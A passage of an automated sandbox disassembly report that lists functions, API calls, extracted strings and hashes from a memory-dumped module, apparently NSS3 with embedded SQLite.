%lld, xrefs: 6C7A114B

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: memcpy$strlen
String ID: $$%02x$%lld$'%.*q'$-- $NULL$zeroblob(%d)
API String ID: 2619041689-2155869073
Opcode ID: 6cd86799b0058c5d67d7418541e852f1b9d0fb4f481c18a37c18ce76ee9caafa
Instruction ID: 2367d56310e71f1ce3c7bcf6db9adf58c309a3227f474f2e9364c1c65bce00ca
Opcode Fuzzy Hash: 6cd86799b0058c5d67d7418541e852f1b9d0fb4f481c18a37c18ce76ee9caafa
Instruction Fuzzy Hash: 8CE1B175A08340DFE710CF99C580A6BBBF1AF86358F048E2DE59587B51D771E84ACB42

Function 6C7A8FB0 Relevance: 14.3, APIs: 6, Strings: 2, Instructions: 289COMMON

Download Yara Rule

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C7A8FEE
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C7A90DC
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C7A9118
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C7A915C
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C7A91C2
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C7A9209

Strings

UUUU, xrefs: 6C7A9255
3333, xrefs: 6C7A925E

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: _byteswap_ulong$Unothrow_t@std@@@__ehfuncinfo$??2@
String ID: 3333$UUUU
API String ID: 1967222509-2679824526
Opcode ID: cb53aef9dc4b220721c5d8cd75a6591e02f4399a7125a3519b965ea0faef72a9
Instruction ID: 2817171c8d7bcf016323006383de3b91d39b696dc65a5e55eafd472ff120e962
Opcode Fuzzy Hash: cb53aef9dc4b220721c5d8cd75a6591e02f4399a7125a3519b965ea0faef72a9
Instruction Fuzzy Hash: 2FA1C372E001159BDB14CBA9CD94B9EB7B5BF88328F1A4235D905A7341E736EC52CBE0

Function 6C73BD30 Relevance: 13.6, APIs: 9, Instructions: 102COMMON

Download Yara Rule

APIs

NSS_GetAlgorithmPolicy.NSS3(00000006,?), ref: 6C73BD48
NSS_GetAlgorithmPolicy.NSS3(00000006,?), ref: 6C73BD68
NSS_GetAlgorithmPolicy.NSS3(00000005,?), ref: 6C73BD83
NSS_GetAlgorithmPolicy.NSS3(00000005,?), ref: 6C73BD9E
NSS_GetAlgorithmPolicy.NSS3(0000000A,?), ref: 6C73BDB9
NSS_GetAlgorithmPolicy.NSS3(00000007,?), ref: 6C73BDD0
NSS_GetAlgorithmPolicy.NSS3(000000B8,?), ref: 6C73BDEA
NSS_GetAlgorithmPolicy.NSS3(000000BA,?), ref: 6C73BE04
NSS_GetAlgorithmPolicy.NSS3(000000BC,?), ref: 6C73BE1E

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: AlgorithmPolicy
String ID:
API String ID: 2721248240-0
Opcode ID: 87240e69d55f799456be714767a1cca2734040e4dd7b25f01e19da2c3d45033a
Instruction ID: 6fd43e7974699dae0f1aa87b7afef181c11c546bfe10325b7aa4af79f82f2850
Opcode Fuzzy Hash: 87240e69d55f799456be714767a1cca2734040e4dd7b25f01e19da2c3d45033a
Instruction Fuzzy Hash: EA212C7AE5067D57FB0046569E4BF8B36785B8175DF082034F91EED683E321B418C2A1

Function 6C7E8D20 Relevance: 12.7, APIs: 6, Strings: 1, Instructions: 471threadnetworkCOMMON

Download Yara Rule

APIs

PR_CallOnce.NSS3(6C8314E4,6C79CC70), ref: 6C7E8D47
PR_GetCurrentThread.NSS3 ref: 6C7E8D98

Part of subcall function 6C6C0F00: PR_GetPageSize.NSS3(6C6C0936,FFFFE8AE,?,6C6516B7,00000000,?,6C6C0936,00000000,?,6C65204A), ref: 6C6C0F1B
Part of subcall function 6C6C0F00: PR_NewLogModule.NSS3(clock,6C6C0936,FFFFE8AE,?,6C6516B7,00000000,?,6C6C0936,00000000,?,6C65204A), ref: 6C6C0F25

PR_snprintf.NSS3(?,?,%u.%u.%u.%u,?,?,?,?), ref: 6C7E8E7B
htons.WSOCK32(?), ref: 6C7E8EDB
PR_GetCurrentThread.NSS3 ref: 6C7E8F99
PR_GetCurrentThread.NSS3 ref: 6C7E910A

Strings

%u.%u.%u.%u, xrefs: 6C7E8E74

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CurrentThread$CallModuleOncePageR_snprintfSizehtons
String ID: %u.%u.%u.%u
API String ID: 1845059423-1542503432
Opcode ID: 6ec83cb540a7fbd29d8966838f11f1210ba71b2b5fdec52d70573791fe440f30
Instruction ID: d9b07bd9c4443fefdb9912d28370c350f6664d91b4bf0d278379eb91565ec335
Opcode Fuzzy Hash: 6ec83cb540a7fbd29d8966838f11f1210ba71b2b5fdec52d70573791fe440f30
Instruction Fuzzy Hash: 0A02AC339052518FDB18CF19C5683A6BBA3EF5A348F29826AD8915FBD2C331D945C790

Function 6C66EFB0 Relevance: 12.1, Strings: 9, Instructions: 815COMMON

Download Yara Rule

Strings

table, xrefs: 6C66F05C, 6C66FABC, 6C66FAC7
view, xrefs: 6C66F061, 6C66F071, 6C66FAB7
authorizer malfunction, xrefs: 6C66F95C, 6C66F9BF, 6C66FA5E, 6C66FA8B
sqlite_master, xrefs: 6C66F0AB, 6C66F2DA, 6C66F757, 6C66F93E
not authorized, xrefs: 6C66F957, 6C66F9BA
sqlite_temp_master, xrefs: 6C66F0A6, 6C66F2D5
there is already an index named %s, xrefs: 6C66F9D7
temporary table name must be unqualified, xrefs: 6C66F734
%s %T already exists, xrefs: 6C66FAC8

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID: %s %T already exists$authorizer malfunction$not authorized$sqlite_master$sqlite_temp_master$table$temporary table name must be unqualified$there is already an index named %s$view
API String ID: 3168844106-1126224928
Opcode ID: 3aee7bf301e925817250e831ef117ffed6cdf267a12b9a5295714134b77428c6
Instruction ID: ae180be049181e80f5e7d881cd76d023d1d8ff2af8cca4db40f5cb06b3c50c0d
Opcode Fuzzy Hash: 3aee7bf301e925817250e831ef117ffed6cdf267a12b9a5295714134b77428c6
Instruction Fuzzy Hash: 8B72B070E042058FDB14CF6AC484BAABBF1BF49308F1481ADD815ABB52D775E846CB96

Function 6C789C40 Relevance: 11.1, APIs: 3, Strings: 3, Instructions: 565COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(?,00000000,6C65C52B), ref: 6C789D53
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00014960,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C78A035
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000149AD,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C78A114

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C78A01F, 6C78A0E4, 6C78A0FE
database corruption, xrefs: 6C78A029, 6C78A108
%s at line %d of [%.10s], xrefs: 6C78A02E, 6C78A10D

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: sqlite3_log$memcmp
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 717804543-598938438
Opcode ID: 7cc8301c1bc9be8fee873e976eec9a45fda0d860e85595fb516d901373ced963
Instruction ID: 0f98913e1b0fb16bea7f474268b226467a1278134847b07538d12d5f44aea3c9
Opcode Fuzzy Hash: 7cc8301c1bc9be8fee873e976eec9a45fda0d860e85595fb516d901373ced963
Instruction Fuzzy Hash: 5D22BF7160A3418FC714CF29C69062ABBE1BFDA354F148A3DEADA97B81D731D845CB42

Function 6C7A9D90 Relevance: 9.0, APIs: 2, Strings: 3, Instructions: 237COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,?,?,6C668637,?,?), ref: 6C7A9E88
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00011166,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?,?,?,?,?,?,?,?,?,?,6C668637), ref: 6C7A9ED6

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C7A9EC0
database corruption, xrefs: 6C7A9ECA
%s at line %d of [%.10s], xrefs: 6C7A9ECF

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: _byteswap_ulongsqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 912837312-598938438
Opcode ID: 93013bc837d12d91d33f249ea3ca317533685d3ad2b0d58761571bf2bd14041f
Instruction ID: 673a3e1acc0b510333be446f3e6e42e377f4edf32f87eccf90126bee59624064
Opcode Fuzzy Hash: 93013bc837d12d91d33f249ea3ca317533685d3ad2b0d58761571bf2bd14041f
Instruction Fuzzy Hash: 3E81C732B051158FCB14CFA9CA85ADEB3F6EF5C304B148629E905AB741E731ED56CB90

Function 6C7B7F20 Relevance: 7.7, APIs: 2, Strings: 2, Instructions: 713COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(00000000,00000000,?), ref: 6C7B81BC

Strings

BINARY, xrefs: 6C7B8126
out of memory, xrefs: 6C7B835B

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: memset
String ID: BINARY$out of memory
API String ID: 2221118986-3971123528
Opcode ID: 0f3679e40490b6ed9e1142415205f2746ee16d69fbcfd1b379d3e1a0ead51c2e
Instruction ID: 14f5d450a6c3a010d1ae7bed20e3570a54600900e4bc6f7abfb3d74f08762039
Opcode Fuzzy Hash: 0f3679e40490b6ed9e1142415205f2746ee16d69fbcfd1b379d3e1a0ead51c2e
Instruction Fuzzy Hash: 4C529E71E05219DFDB14CF99C990BADBBB2FF48318F24816AD819BB751D730A846CB90

Function 6C739EC0 Relevance: 7.6, APIs: 5, Instructions: 69memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6C739ED6

Part of subcall function 6C7314C0: TlsGetValue.KERNEL32 ref: 6C7314E0
Part of subcall function 6C7314C0: EnterCriticalSection.KERNEL32 ref: 6C7314F5
Part of subcall function 6C7314C0: PR_Unlock.NSS3 ref: 6C73150D

PORT_ArenaAlloc_Util.NSS3(?,00000024), ref: 6C739EE4

Part of subcall function 6C7310C0: TlsGetValue.KERNEL32(?,6C6D8802,00000000,00000008,?,6C6CEF74,00000000), ref: 6C7310F3
Part of subcall function 6C7310C0: EnterCriticalSection.KERNEL32(?,?,6C6D8802,00000000,00000008,?,6C6CEF74,00000000), ref: 6C73110C
Part of subcall function 6C7310C0: PL_ArenaAllocate.NSS3(?,?,?,6C6D8802,00000000,00000008,?,6C6CEF74,00000000), ref: 6C731141
Part of subcall function 6C7310C0: PR_Unlock.NSS3(?,?,?,6C6D8802,00000000,00000008,?,6C6CEF74,00000000), ref: 6C731182
Part of subcall function 6C7310C0: TlsGetValue.KERNEL32(?,6C6D8802,00000000,00000008,?,6C6CEF74,00000000), ref: 6C73119C

PR_SetError.NSS3(FFFFE013,00000000), ref: 6C739F38

Part of subcall function 6C73D030: PORT_NewArena_Util.NSS3(00000400,00000000,?,00000000,?,6C739F0B), ref: 6C73D03B
Part of subcall function 6C73D030: PORT_ArenaAlloc_Util.NSS3(00000000,00000028), ref: 6C73D04E
Part of subcall function 6C73D030: SECOID_FindOIDByTag_Util.NSS3(00000019), ref: 6C73D07B
Part of subcall function 6C73D030: SECITEM_CopyItem_Util.NSS3(00000000,-00000018,00000000), ref: 6C73D08E
Part of subcall function 6C73D030: PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C73D09D

PR_SetError.NSS3(FFFFE013,00000000), ref: 6C739F49
SEC_PKCS7DestroyContentInfo.NSS3(?), ref: 6C739F59

Part of subcall function 6C739D60: PORT_ArenaMark_Util.NSS3(?,00000000,?,?,00000000,?,6C739C5B), ref: 6C739D82
Part of subcall function 6C739D60: PORT_ArenaGrow_Util.NSS3(?,?,00000000,?,6C739C5B), ref: 6C739DA9
Part of subcall function 6C739D60: PORT_ArenaGrow_Util.NSS3(?,?,?,?,?,?,?,?,6C739C5B), ref: 6C739DCE
Part of subcall function 6C739D60: PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,6C739C5B), ref: 6C739E43

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_Value$Arena_CriticalEnterErrorGrow_Mark_SectionUnlock$AllocateContentCopyDestroyFindFreeInfoItem_Tag_
String ID:
API String ID: 4287675220-0
Opcode ID: 132886c8e85c4853bc8e1c53b1aed6ae3bf3f6f8f3c0773f36a280f0f549c6b0
Instruction ID: e2c07eb375f97f5f8a41631365c0fdfab5d31eb82a11a4dcb5cd10e9c62a5d50
Opcode Fuzzy Hash: 132886c8e85c4853bc8e1c53b1aed6ae3bf3f6f8f3c0773f36a280f0f549c6b0
Instruction Fuzzy Hash: 68112EB5F042265BF7109B759E09B9B7354AFA439CF142134E80D8B742FF71E514C2A1

Function 6C7ECDC0 Relevance: 7.4, APIs: 3, Strings: 1, Instructions: 423stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C7ED086
PR_Malloc.NSS3(00000001), ref: 6C7ED0B9
PR_Free.NSS3(?), ref: 6C7ED138

Strings

>, xrefs: 6C7ECF5B

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: FreeMallocstrlen
String ID: >
API String ID: 1782319670-325317158
Opcode ID: 33f3c904727b78e6a3ccadd60312c31edcb67202b830285271c06c35c0548f6e
Instruction ID: 212c870db2bd7a26ffc552745243c4de9541205ad5f4f4187457ee9b90f38bf4
Opcode Fuzzy Hash: 33f3c904727b78e6a3ccadd60312c31edcb67202b830285271c06c35c0548f6e
Instruction Fuzzy Hash: 56D18B27B406464FFB14487C8EA13EA7B9787EE3B4F584339D1218BBE5E629C8439345

Function 6C66AC60 Relevance: 6.4, Strings: 5, Instructions: 181COMMON

Download Yara Rule

Strings

winUnlockReadLock, xrefs: 6C66AE9F
P~l, xrefs: 6C66ADDB, 6C66ADF5, 6C66AE6A
winUnlock, xrefs: 6C66AE18
0~l, xrefs: 6C66ACC0, 6C66AD22, 6C66AD5E, 6C66AE45
p~l, xrefs: 6C66ADA7

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID:
String ID: 0~l$P~l$p~l$winUnlock$winUnlockReadLock
API String ID: 0-1104621854
Opcode ID: db822a904cadda6f6ec1b0163b76c7e016a96d83a9e397ca0f97781b71d2162a
Instruction ID: 77f101b85e853b9fd0e15c2c579a4942221d5aef4c9e133f94477f24c6294bc3
Opcode Fuzzy Hash: db822a904cadda6f6ec1b0163b76c7e016a96d83a9e397ca0f97781b71d2162a
Instruction Fuzzy Hash: 5571A4716042409FDB24CF29D894AABBBF5FF89318F14CA28F94997701D730A985CBD6

Function 6C78AD50 Relevance: 6.4, APIs: 4, Instructions: 389COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: df247ca27637bb4f727debb578ca8f88dd544d67d1e542ea2b02986a9e1774b2
Instruction ID: f8b71a9ec6ea7317ff3df382c8fffbdde34b2291cd9ae2f93f3b3aeb517f528b
Opcode Fuzzy Hash: df247ca27637bb4f727debb578ca8f88dd544d67d1e542ea2b02986a9e1774b2
Instruction Fuzzy Hash: 35F1E471F021158BDB24CF68CA587A9B7F0BB8A309F15863DCA05D7744E778A942CBD4

Function 6C77DFC0 Relevance: 6.3, APIs: 3, Strings: 1, Instructions: 344stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,00000003,?,6C655001,?,00000003,00000000), ref: 6C77DFD7
memset.VCRUNTIME140(00000000,00000000,?,?,?,00000003,?,6C655001,?), ref: 6C77E2B7
memcpy.VCRUNTIME140(00000028,00000003,?,?,?,?,?,?,00000003,?,6C655001,?), ref: 6C77E2DA

Strings

W, xrefs: 6C77E111

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: memcpymemsetstrlen
String ID: W
API String ID: 160209724-655174618
Opcode ID: c1e5474bd8d9aeec4a0033f950eef524c013d57d32b5083ad4d616aba16bb0cf
Instruction ID: d47697b0606f725653a2e125aa6b6b69ad80601dacb16714c583ed0be6dee9cd
Opcode Fuzzy Hash: c1e5474bd8d9aeec4a0033f950eef524c013d57d32b5083ad4d616aba16bb0cf
Instruction Fuzzy Hash: 4EC1F831A0465D8FDF24CE29C5906EA77B2BF8A318F288179DCA99BB41D7319905C7F0

Function 6C740E20 Relevance: 6.3, APIs: 2, Strings: 2, Instructions: 279COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,00000000,00000000,00000000), ref: 6C741052
memset.VCRUNTIME140(-0000001C,?,?,00000000), ref: 6C741086

Strings

h(tl, xrefs: 6C740E55, 6C740EC4, 6C740F3A, 6C740FA7
h(tl, xrefs: 6C741062, 6C74105D, 6C740F37, 6C741081, 6C741082

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: memcpymemset
String ID: h(tl$h(tl
API String ID: 1297977491-3219825945
Opcode ID: c8f977c906faafbd9a23cb87707674e16099d566cd0169d06cd1b40ef032d791
Instruction ID: 26ea2d6e466b6600244369f0c6c8dda88c0c5b9c0764eadd7b634e9a72fc4993
Opcode Fuzzy Hash: c8f977c906faafbd9a23cb87707674e16099d566cd0169d06cd1b40ef032d791
Instruction Fuzzy Hash: E0A15E71B0125A9FDF08DF99CA94AEEBBB6BF88314B148139E915A7700D735EC11CB90

Function 6C664DB0 Relevance: 5.3, Strings: 4, Instructions: 318COMMON

Download Yara Rule

Strings

winUnlockReadLock, xrefs: 6C665125
P~l, xrefs: 6C665019, 6C6650FA, 6C665157, 6C6651DE, 6C6651F2, 6C66520D, 6C665220, 6C6652A2, 6C6652B5
0~l, xrefs: 6C664EDE, 6C664F82
p~l, xrefs: 6C664E1C, 6C664E81, 6C664FDE, 6C665047, 6C6650BB, 6C6651A3, 6C66526C

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

